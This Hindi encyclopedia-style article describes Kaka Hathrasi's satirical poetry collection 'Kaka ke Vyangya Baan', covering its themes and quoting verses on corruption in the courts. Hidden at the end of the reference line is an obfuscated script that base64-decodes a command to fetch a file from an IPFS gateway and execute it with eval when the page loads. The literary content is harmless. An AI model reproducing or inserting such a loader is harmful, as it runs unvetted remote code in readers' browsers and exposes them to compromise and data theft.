काका के व्यंग्य बाण -काका हाथरसी

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काका के व्यंग्य बाण -काका हाथरसी
'काका के व्यंग्य बाण' का आवरण पृष्ठ
कवि काका हाथरसी
मूल शीर्षक काका के व्यंग्य बाण
प्रकाशक डायमंड पॉकेट बुक्स
ISBN 81-288-0695-5
देश भारत
भाषा हिन्दी
शैली हास्य
विशेष इस पुस्‍तक में काका के उन व्‍यंग्‍य बाणों को संगृहित किया गया है, जिन्‍होंने समाज की विडंबनाओं और कुरूपताओं पर व्‍यापक प्रहार किया है, साथ ही समाज सुधार का व्‍यापक प्रयास भी है।

काका के व्यंग्य बाण हिन्दी के हास्य कवि काका हाथरसी की हास्य रस में डूबी कविताओं का संग्रह है। इस पुस्‍तक में काका के उन व्‍यंग्‍य बाणों को संगृहित किया गया है, जिन्‍होंने समाज की विडंबनाओं और कुरूपताओं पर व्‍यापक प्रहार किया है, साथ ही समाज सुधार का व्‍यापक प्रयास भी है। यह पुस्तक समाज में व्याप्त कई प्रकार की कुरूतियों और बुराईयों पर करारा प्रहार करती है।

विष्य वस्तु

इस पुस्तक में काका हाथरसी के व्यंग्य-बाणों की उस तेज धार और घातक मार को दिखाने का प्रयास किया गया है, जिसने समाज और राजनीति को तिल-तिलकर तिलमिलाने के लिए विवश किया है। चाहे सामाजिक कुरीतियाँ हों अथवा आधुनिक कृत्रिम सभ्यता की विसंगतियां, धार्मिक दुराग्रह हो अथवा आर्थिक विषमताएं और शोषण की वृत्तियां, देश में व्याप्त राजनीतिक विडंबनाएं एवं विद्रूपताएं हों अथवा असंगत साहित्यिक परिस्थितियां, काका को सूक्ष्म दृष्टि से कोई नहीं बच पाता। उन्होंने समाज को बड़ी गहराई से तथा पैनी दृष्टि से देखा है। इसी कारण उन्होंने सभी पर व्यंग्य बाण छोड़े हैं, जिनका संबंध सामाजिक जीवन से है। व्यंग्य एक नश्तर है, ऐसा नश्तर, जो समाज के सड़े-गले अंगों की शल्यक्रिया करता है और उसे फिर से स्वस्थ बनाने में सहयोग भी देता है। काका हाथरसी यदि सरल हास्य कवि हैं तो उन्होंने व्यंग्य के तीखे बाण भी चलाए हैं। उनकी कलम का कमाल कार से बेकार तक, शिष्टाचार से भ्रष्टाचार तक, विद्वान् से गँवार तक, फ़ैशन से राशन तक, परिवार से नियोजन तक, रिश्वत से त्याग तक, और कमाई से महँगाई तक, सर्वत्र देखने को मिलता है।[1]

काका की बात

एक बार बंबई से रामावतार चेतन का पत्र आया था। उन्होंने लिखा था- "चकल्लस के बीस हज़ारी पुरस्कार के लिए जो नाम निर्णायकों के सामने हैं, उनमें आपका नाम भी है। अपनी रचनाओं की कुछ पुस्तकें भेज दीजिए। हमने उनको 'काका रचनावली' के पाँच भाग भेज दिए। कुछ दिनों बाद चेतन जी का दूसरा पत्र आया। उन्होंने सुझाव दिया था कि काका जी आप अपने समस्त साहित्य से कुछ ऐसी महत्त्वपूर्ण रचनाएँ चुनकर प्रकाशित कीजिए, जिनमें हास्य के साथ व्यंग्य भी हो। चेतन जी तो भगवान को प्यारे हो गए, किंतु हमारे अंदर बीज हो गए, जो अंकुरित होकर प्रस्तुत के रूप में पाठकों के सामने आ रहे हैं। हास्य-व्यंग्य को मैं गाड़ी के दो पहिए मानता हूँ। अकेला व्यंग्य चुभन पैदा करता है और अकेला हास्य गुदगुदी। यदि रचना में इन दोनों का पुट हो तो वह पाठक को गुदगुदाएगी भी, व्यंग्य-बाण भी चुभाएगी। 'काका के व्यंग्य बाण' संग्रह में जितनी रचनाएँ हैं, सुधी पाठक देखेंगे कि उनमें व्यंग्य-रंग के साथ हास्य की पतंगें भी लहरा रही हैं। मेरा विश्वास है कि इन रचनाओं के द्वारा व्यंग्य-प्रेमी पाठकों का भरपूर मनोरंजन होगा।

काव्य में व्यंग्य

काका हाथरसी की व्यंग्य-रचनाएँ अपनी महत्त्वपूर्ण भूमिका निभाती रही हैं। उन्होंने भी छिछली शिष्टता एवं मान्यता, कृत्रिमता, प्रदर्शनवृत्ति, सामाजिक, सांस्कृतिक, साहित्यिक, आर्थिक, राजनीति क्षेत्र में व्याप्त भ्रष्टाचार और अतिचार, रूढ़िवादिता अथवा श्रेष्ठ परंपराओं को खंडित करने की प्रवृत्ति आदि पर डटकर व्यंग्य-बाणों का प्रहार किया है। ये वे प्रवृत्तियां हैं, जिनसे समाज का अधिकांश भाग मुक्त नहीं हो पाता है। यहाँ यह कह देना भी समीचीन होगा कि काका जी ने मात्र व्यंग्य के लिए व्यंग्य नहीं किया है। उनके व्यंग्य में खुरखुरेपन, विखंडनवृत्ति, तोड़-फोड़ की ही प्रधानता नहीं है, वे मात्र कटु वक्ता ही नहीं है, उनके व्यंग्य में निहित प्रयोजनीयता भी हास्य के आकर्षक और मायावी आवरण में से इस प्रकार झिलमिलाती है, जिस प्रकार बिहारी की सहज-सलज्ज, सरल नायिका के चंचल नयन घूँघट-पट से झाँकते हैं। उन्होंने अपने व्यंग्य को कबीर के भीगे कोड़े नहीं बनाया वरन् अपनी बात कुछ इस अंदाज़में व्यक्त की कि व्यंग्य का प्रहार तीखा होते हुए भी उसका आलंबन व्यंग्य को कटुता से ग्रहण नहीं करता वरन् मन-ही-मन मुस्कराता रहता है। इस प्रकार शिष्टता की सीमा में रहते हुए समाज की वास्तविकता को उद्घाटित करने वाला, हास्य-मिश्रित व्यंग्य लिखना बहुत मुश्किल काम है।[1]

इस संबंध में काका जी बेढ़व बनारसी के इस दृष्टिकोण से पूर्णत: सहमत थे कि ‘व्यंग्य इस प्रकार होना चाहिए, जिस प्रकार खुजली हाथ को काटती है, जिससे हाथ नहीं कटता, किंतु मनुष्य अनुभव करता है कि कोई चीज़ धीरे-धीरे उसके हाथ को काट रही है। वास्तव में इस कटन में भी एक प्रकार के सुख की अनुभूति होती है और व्यक्ति बार-बार हाथ खुजाता है। इस प्रकार के व्यंग्य से ही मनुष्य और समाज का सुधार संभव है। हम जो कुछ भी भोगते हैं, वह समाज में और समाज के कारण ही भोगते हैं। समाज में निहित अनेकानेक असंगतियाँ हमारे दर्द और द्वंद्व का कारण बनती हैं। काका जी ने इनमें से लगभग सभी पर व्यंग्य-प्रहार किया है। ये चाहे सामाजिक कुरीतियाँ हों अथवा आधुनिक कृत्रिम सभ्यता की विसंगतियाँ, धार्मिक दुराग्रह हो अथवा आर्थिक विषमताएँ और शोषण की वृत्तियाँ, देश में व्याप्त राजनीतिक विडंबनाएँ एवं विद्रूपताएँ हों अथवा असंगत साहित्यिक परिस्थितियाँ।

कुरीतियों पर व्यंग्य

सामाजिक व्यंग्य के क्षेत्र में काका हाथरसी के काव्य में शाश्वत और सामयिक दोनों प्रकार की समस्याएँ प्रस्तुत हुई हैं। उनकी रचनाओं में समाज में व्याप्त कुरीतियों, कुनीतियों और रूढ़ियों पर करारी चोट की गयी है। कहीं-कहीं हास्य के आवरण में भी व्यंग्य इतना तीक्ष्ण होता है कि वह अपने आलंबन को तिलमिलाकर रख देता है। आधुनिक समाज ऐसी विसंगतियों और विडंबनाओं से भर गया है कि उसका छोटे-से-छोटा घटक भी इन विसंगतियों और विंडबनाओं का प्रतिपालक अथवा उनका कारण बन गया है। इसी कारण सामाजिक क्षेत्र की प्रत्येक व्यंग्योक्ति सामान्यकृत-सी प्रतीत होती है। प्रत्येक व्यक्ति उसको अपने से संबंधित मानता है और चुप रहता है। काका की कलम का कमाल कार से लेकर बेकार तक, शिष्टाचार से भ्रष्टाचार तक, परिवार से पत्रकार तक, विद्वान् से गँवार तक, फ़ैशन से राशन तक, परिवार से नियोजन तक, रिश्वत से त्याग तक और कमाई से महँगाई तक देखने को मिलता है। तात्पर्य यह है कि काका ने प्रत्येक क्षेत्र में प्रवेश किया और धड़ल्ले से किया।[1]

  • काका के व्यंग्य में न्याय की कुर्सी पर आसीन न्यायाधीशों और दंडाधिकारियों के कार्यालयों में व्याप्त भ्रष्टाचार को भी दर्शाया गया है। आधुनिक न्यायालय विचित्र विद्रूपताओं से भर गए हैं। वे न्यायालय हैं अथवा भ्रष्टालय, इसमें भेद करना कठिन है। इन स्थलों पर न्याय प्राप्त होगा, यह सोचना दुराशा मात्र है, अथवा न्याय मिलेगा तो वह कितने समय बाद, इसका कोई निश्चय नहीं है। न्याय तो बाद में मिलेगा किंतु इस प्रक्रिया के बीच जो दुर्दशा अथवा धन की छीनाझपटी होती है, उस पर काका ने कितना स्पष्ट व्यंग्य किया है-

न्याय प्राप्त करने गए, न्यायालय के द्वार
इसी जगह सबसे अधिक, पाया भ्रष्टाचार
पाया भ्रष्टाचार, मिसल को मसल रहे हैं
ईंट-ईंट से रिश्वत के स्वर निकल रहे हैं
कहँ काका, जब पेशकार जी घर को आए
तनखा से भी तिगुने नोट दबाकर लाए

  • केवल पेशकार ही नहीं, वकील, मुंशी, मुहर्रिर और चपरासी तक 'समभाव?' प्रेमी हैं। प्रत्येक अपने-अपने 'हक?' को प्राप्त करने के लिए लालायित है। हाँ, न्याय के द्वार पर दस्तक देने वाला बेचारा व्यक्ति इनके दुष्चक्र में फँसकर लाचार हो जाता है। यदि वह किसी प्रकार न्याय प्राप्त करने में सफल हो भी गया तो उसकी दशा हारे हुए खिलाड़ी से कम नहीं होती।[1] काका के शब्दों में व्यक्त यह स्थिति अपने व्यंग्य के कारण कितनी मार्मिक बन गई है-

प्लीडर, मुंशी, मुहर्रिर, सब निचोड़ लें अर्क
सायल को घायल करे, फायल वाला क्लर्क
फायल वाला क्लर्क, अगर कुछ बच जाएगा
वह चपरासी के इनाम में पच जाएगा
कहँ काका, जो जीत गया सो हारा समझो
हार गया, सो पत्थर से दे मारा समझो


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 1.3 काका के व्यंग्य बाण (हिन्दी)। । अभिगमन तिथि: 13 जून, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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